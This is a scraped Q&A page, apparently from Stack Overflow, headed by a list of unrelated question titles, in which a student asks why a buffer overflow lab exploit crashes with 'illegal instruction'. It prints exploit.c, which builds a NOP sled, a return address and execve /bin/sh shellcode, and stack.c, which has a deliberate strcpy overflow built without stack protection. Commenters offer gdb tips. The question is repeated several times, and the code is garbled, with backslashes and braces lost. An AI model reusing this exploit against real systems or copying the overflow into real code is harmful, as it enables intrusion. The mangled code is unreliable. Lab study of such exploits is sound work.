Styjun

Does anyone recognize these rockets, and their location?

How to use random to choose colors

Harmonic Series Phase Difference?

Can you create a noise using Minor Illusion/Thaumaturgy on an area you cannot see?

Common Marsupials and Rare Antelopes

What is the precise meaning of "подсел на мак"?

Fill the maze with a wall-following Snake until it gets stuck

Can a character with the Polearm Master feat make an opportunity attack against an invisible creature that enters their reach?

Credit card validation in C

What is this plant I saw for sale at a Romanian farmer's market?

Showing that a language is NP Complete (advice)

Is using Legacy mode is a bad thing to do?

How would Japanese people react to someone refusing to say “itadakimasu” for religious reasons?

How to ask if I can mow my neighbor's lawn

How to prevent cables getting intertwined

Explicit song lyrics checker

How "fast" do astronomical events occur?

Do Battery Electrons Only Move If There is a Positive Terminal at the End of the Wire?

Time at 1G acceleration to travel 100 000 light years

How to make all magic-casting innate, but still rare?

First occurrence in the Sixers sequence

How did space travel spread throughout the Star Wars galaxy?

Right indicator flash-frequency has increased and rear-right bulb is out

Does knowing the surface area of all faces uniquely determine a tetrahedron?

core dump in buffer overflow lab

How to debug using gdb?How to generate a core dump in Linux on a segmentation fault?How do I detect unsigned integer multiply overflow?problem with flushing input stream CCore dumped, but core file is not in the current directory?Core dump file analysisCore dump file is not generatedHow do I analyze a program's core dump file with GDB when it has command-line parameters?Shellcode gives SyntaxError in gdbFormat String exploit - opening root shellC - Buffer Overflow Details

.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty,.everyoneloves__bot-mid-leaderboard:empty height:90px;width:728px;box-sizing:border-box;

0

We have a lab about buffer overflow.
Use 'exploit.c' to write shellcode into a file called 'badfile'.
Then execute 'stack' to read shellcode from badfile, but when I input ./stack, illegal instruction (core dumped) occurred.
Anyone can help me to find the reason?
enter image description here

/* exploit.c */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
 "x31xc0" /* xorl %eax,%eax */
 "x50" /* pushl %eax */
 "x68""//sh" /* pushl $0x68732f2f */
 "x68""/bin" /* pushl $0x6e69622f */
 "x89xe3" /* movl %esp,%ebx */
 "x50" /* pushl %eax */
 "x53" /* pushl %ebx */
 "x89xe1" /* movl %esp,%ecx */
 "x99" /* cdq */
 "xb0x0b" /* movb $0x0b,%al */
 "xcdx80" /* int $0x80 */
;

void main(int argc, char **argv)

 char buffer[517];
 FILE *badfile;

 /* Initialize buffer with 0x90 (NOP instruction) */
 memset(&buffer, 0x90, 517);

 /* You need to fill the buffer with appropriate contents here */
 strcpy(buffer+0x24,"x0bxcfxffxff");
 strcpy(buffer+0x64,shellcode);
 badfile = fopen("./badfile", "w");
 fwrite(buffer, 517, 1, badfile);
 fclose(badfile);


/* stack.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)

 char buffer[24];

 /* The following statement has a buffer overflow problem */
 strcpy(buffer, str);

 return 1;


int main(int argc, char **argv)

 char str[517];
 FILE *badfile;

 badfile = fopen("badfile", "r");
 fread(str, sizeof(char), 517, badfile);
 bof(str);

 printf("Returned Properlyn");
 return 1;

And i use gcc -m32 -o stack -z execstack -fno-stack-protector stack.cto compile stack.

I use gdb debugging stack, finding after bof(), next function is the address of shellcode.

c ubuntu gdb coredump

share|improve this question

asked Mar 25 at 5:04

fuuuuusterfuuuuuster

1

• 
  
  
  

  
  1
  

  
  
  
  
  
  

  
  
  Please post the result of double-checking the file after fopen(). Most likely the file is not accessable/existing and you are therefor using a NULL pointer.
  
  – Yunnosch
  Mar 25 at 5:49
  

  
  
  
  


• 
  
  
  

  
  1
  

  
  
  
  
  
  

  
  
  If that is not it, then please try ericlippert.com/2014/03/05/how-to-debug-small-programs stackoverflow.com/questions/2069367/how-to-debug-using-gdb
  
  – Yunnosch
  Mar 25 at 5:49
  

  
  
  
  


• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  After the program called bof(), it called shellcode. badfile
  
  – fuuuuuster
  Mar 25 at 6:42
  

  
  
  
  


• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  In GDB, you can single step assembly, and see the assembly representation for the currently executed code: (gdb) si and then (gdb) x /5i $pc
  
  – Michael Veksler
  Mar 25 at 7:21
  
  

  
  
  
  


• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  Oh, if I invoke shellcode directly,when it executes int 80, zsh will be called. normal. But if i invoke stack to read shellcode from badfile, program will execute next assembly statement instead of calling zsh. error. So what might be the reason?
  
  – fuuuuuster
  Mar 25 at 8:53
  
  

  
  
  
  

add a comment | 

0

We have a lab about buffer overflow.
Use 'exploit.c' to write shellcode into a file called 'badfile'.
Then execute 'stack' to read shellcode from badfile, but when I input ./stack, illegal instruction (core dumped) occurred.
Anyone can help me to find the reason?
enter image description here

/* exploit.c */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
 "x31xc0" /* xorl %eax,%eax */
 "x50" /* pushl %eax */
 "x68""//sh" /* pushl $0x68732f2f */
 "x68""/bin" /* pushl $0x6e69622f */
 "x89xe3" /* movl %esp,%ebx */
 "x50" /* pushl %eax */
 "x53" /* pushl %ebx */
 "x89xe1" /* movl %esp,%ecx */
 "x99" /* cdq */
 "xb0x0b" /* movb $0x0b,%al */
 "xcdx80" /* int $0x80 */
;

void main(int argc, char **argv)

 char buffer[517];
 FILE *badfile;

 /* Initialize buffer with 0x90 (NOP instruction) */
 memset(&buffer, 0x90, 517);

 /* You need to fill the buffer with appropriate contents here */
 strcpy(buffer+0x24,"x0bxcfxffxff");
 strcpy(buffer+0x64,shellcode);
 badfile = fopen("./badfile", "w");
 fwrite(buffer, 517, 1, badfile);
 fclose(badfile);


/* stack.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)

 char buffer[24];

 /* The following statement has a buffer overflow problem */
 strcpy(buffer, str);

 return 1;


int main(int argc, char **argv)

 char str[517];
 FILE *badfile;

 badfile = fopen("badfile", "r");
 fread(str, sizeof(char), 517, badfile);
 bof(str);

 printf("Returned Properlyn");
 return 1;

And i use gcc -m32 -o stack -z execstack -fno-stack-protector stack.cto compile stack.

I use gdb debugging stack, finding after bof(), next function is the address of shellcode.

c ubuntu gdb coredump

share|improve this question

asked Mar 25 at 5:04

fuuuuusterfuuuuuster

1

• 
  
  
  

  
  1
  

  
  
  
  
  
  

  
  
  Please post the result of double-checking the file after fopen(). Most likely the file is not accessable/existing and you are therefor using a NULL pointer.
  
  – Yunnosch
  Mar 25 at 5:49
  

  
  
  
  


• 
  
  
  

  
  1
  

  
  
  
  
  
  

  
  
  If that is not it, then please try ericlippert.com/2014/03/05/how-to-debug-small-programs stackoverflow.com/questions/2069367/how-to-debug-using-gdb
  
  – Yunnosch
  Mar 25 at 5:49
  

  
  
  
  


• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  After the program called bof(), it called shellcode. badfile
  
  – fuuuuuster
  Mar 25 at 6:42
  

  
  
  
  


• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  In GDB, you can single step assembly, and see the assembly representation for the currently executed code: (gdb) si and then (gdb) x /5i $pc
  
  – Michael Veksler
  Mar 25 at 7:21
  
  

  
  
  
  


• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  Oh, if I invoke shellcode directly,when it executes int 80, zsh will be called. normal. But if i invoke stack to read shellcode from badfile, program will execute next assembly statement instead of calling zsh. error. So what might be the reason?
  
  – fuuuuuster
  Mar 25 at 8:53
  
  

  
  
  
  

add a comment | 

We have a lab about buffer overflow.
Use 'exploit.c' to write shellcode into a file called 'badfile'.
Then execute 'stack' to read shellcode from badfile, but when I input ./stack, illegal instruction (core dumped) occurred.
Anyone can help me to find the reason?
enter image description here

/* exploit.c */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
 "x31xc0" /* xorl %eax,%eax */
 "x50" /* pushl %eax */
 "x68""//sh" /* pushl $0x68732f2f */
 "x68""/bin" /* pushl $0x6e69622f */
 "x89xe3" /* movl %esp,%ebx */
 "x50" /* pushl %eax */
 "x53" /* pushl %ebx */
 "x89xe1" /* movl %esp,%ecx */
 "x99" /* cdq */
 "xb0x0b" /* movb $0x0b,%al */
 "xcdx80" /* int $0x80 */
;

void main(int argc, char **argv)

 char buffer[517];
 FILE *badfile;

 /* Initialize buffer with 0x90 (NOP instruction) */
 memset(&buffer, 0x90, 517);

 /* You need to fill the buffer with appropriate contents here */
 strcpy(buffer+0x24,"x0bxcfxffxff");
 strcpy(buffer+0x64,shellcode);
 badfile = fopen("./badfile", "w");
 fwrite(buffer, 517, 1, badfile);
 fclose(badfile);


/* stack.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)

 char buffer[24];

 /* The following statement has a buffer overflow problem */
 strcpy(buffer, str);

 return 1;


int main(int argc, char **argv)

 char str[517];
 FILE *badfile;

 badfile = fopen("badfile", "r");
 fread(str, sizeof(char), 517, badfile);
 bof(str);

 printf("Returned Properlyn");
 return 1;

And i use gcc -m32 -o stack -z execstack -fno-stack-protector stack.cto compile stack.

I use gdb debugging stack, finding after bof(), next function is the address of shellcode.

c ubuntu gdb coredump

share|improve this question

asked Mar 25 at 5:04

fuuuuusterfuuuuuster

1

/* exploit.c */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
 "x31xc0" /* xorl %eax,%eax */
 "x50" /* pushl %eax */
 "x68""//sh" /* pushl $0x68732f2f */
 "x68""/bin" /* pushl $0x6e69622f */
 "x89xe3" /* movl %esp,%ebx */
 "x50" /* pushl %eax */
 "x53" /* pushl %ebx */
 "x89xe1" /* movl %esp,%ecx */
 "x99" /* cdq */
 "xb0x0b" /* movb $0x0b,%al */
 "xcdx80" /* int $0x80 */
;

void main(int argc, char **argv)

 char buffer[517];
 FILE *badfile;

 /* Initialize buffer with 0x90 (NOP instruction) */
 memset(&buffer, 0x90, 517);

 /* You need to fill the buffer with appropriate contents here */
 strcpy(buffer+0x24,"x0bxcfxffxff");
 strcpy(buffer+0x64,shellcode);
 badfile = fopen("./badfile", "w");
 fwrite(buffer, 517, 1, badfile);
 fclose(badfile);


/* stack.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)

 char buffer[24];

 /* The following statement has a buffer overflow problem */
 strcpy(buffer, str);

 return 1;


int main(int argc, char **argv)

 char str[517];
 FILE *badfile;

 badfile = fopen("badfile", "r");
 fread(str, sizeof(char), 517, badfile);
 bof(str);

 printf("Returned Properlyn");
 return 1;

share|improve this question

asked Mar 25 at 5:04

fuuuuusterfuuuuuster

1

share|improve this question

asked Mar 25 at 5:04

fuuuuusterfuuuuuster

1

asked Mar 25 at 5:04

fuuuuusterfuuuuuster

1

asked Mar 25 at 5:04

fuuuuusterfuuuuuster

1